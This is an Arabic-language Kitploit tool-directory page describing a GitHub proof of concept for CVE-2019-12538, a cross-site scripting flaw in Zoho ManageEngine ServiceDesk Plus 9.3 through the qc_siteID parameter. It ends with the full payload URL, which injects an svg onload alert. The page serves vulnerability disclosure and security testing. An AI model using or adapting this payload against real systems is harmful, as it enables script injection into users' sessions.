أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

دليل الأدوات

الفئات

عرض جميع الفئات

Loading categories

CVE-2019-12538 — إثبات المفهوم لـ CVE-2019-12538: ثغرة XSS في Zoho ManageEngine ServiceDesk Plus 9.3 عبر معلمة qc_siteID في SiteLookup.do. يتضمن حمولة للاختبار الأمني. | Kitploit

أدوات/

GitHub/tarantula-team/cve-2019-12538

تحليل الثغرات الأمنية الاستغلال استغلال تطبيقات الويب أمن الويب اختبار الاختراق

tarantula-team/cve-2019-12538

CVE-2019-12538

إثبات المفهوم لـ CVE-2019-12538: ثغرة XSS في Zoho ManageEngine ServiceDesk Plus 9.3 عبر معلمة qc_siteID في SiteLookup.do. يتضمن حمولة للاختبار الأمني.

عرض المستودع

2منذ 6 سنوات

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

CVE-2019-12538 ثغرة XSS في Zoho ManageEngine ServiceDesk Plus 9.3 في SiteLookup.do

وصف المعلومات: تم اكتشاف مشكلة في Zoho ManageEngine ServiceDesk Plus 9.3. هناك ثغرة XSS عبر معامل qc_siteID في SiteLookup.do.

المؤلف: Concobe من فريق Tarantula - VinCSS (عضو في Vingroup)

الحمولة

domain/SiteLookup.do?configID=0&SELECTSITE=qc_siteID"/><svg onload=alert('XSS')>&userConfigID=1&SELECTEDSITEID=1&SELECTEDSITENAME=

تنزيل الأداة